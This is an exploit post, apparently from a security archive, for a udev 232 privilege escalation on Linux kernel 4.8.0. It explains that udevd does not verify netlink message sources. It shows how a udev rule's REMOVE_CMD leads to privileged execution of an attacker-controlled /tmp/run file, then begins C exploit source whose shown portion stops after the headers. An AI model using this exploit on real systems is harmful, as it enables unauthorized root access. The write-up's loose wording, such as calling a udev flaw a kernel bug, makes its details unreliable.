Linux Kernel 4.8.0 udev 232 Privilege Escalation

Linux Kernel version 4.8.0 with udev version 232 suffers from a privilege escalation vulnerability.


MD5 | 539775917ae1612c572c70d6dc033e8d

# Title: Linux Kernel 4.8.0 udev 232 - Privilege Escalation
# Author: Nassim Asrir
# Researcher at: Henceforth
# Author contact: [email protected] || https://www.linkedin.com/in/nassim-asrir-b73a57122/
# The full Research: https://www.facebook.com/asrirnassim/
# CVE: CVE-2017-7874

# Exp #

first of all we need to know a small infos about udev and how it work

the udev deamon is responsible for receiving device events from the kernel

and this event are delivered to udev via netlink (is a socket family)

you can read more about udev from: https://en.wikipedia.org/wiki/Udev

# Exploit #

The udev vulnerability resulted from a lack of verification of the netlink message source in udevd.

read lines from: /lib/udev/rules.d/50-udev-default.rules

all we need is this action: ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"

this action allows execution of arbitrary commands.

in our exploit we specifying a malicious REMOVE_CMD and causes the privileged execution of attacker-controlled /tmp/run file.

Get your udev version:

Execute: $ udevadm --version

//output: 232

Maybe < 232 also is vulnerable

// gcc rootme.c -o rootme
// ./rootme
// segmantation fault

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
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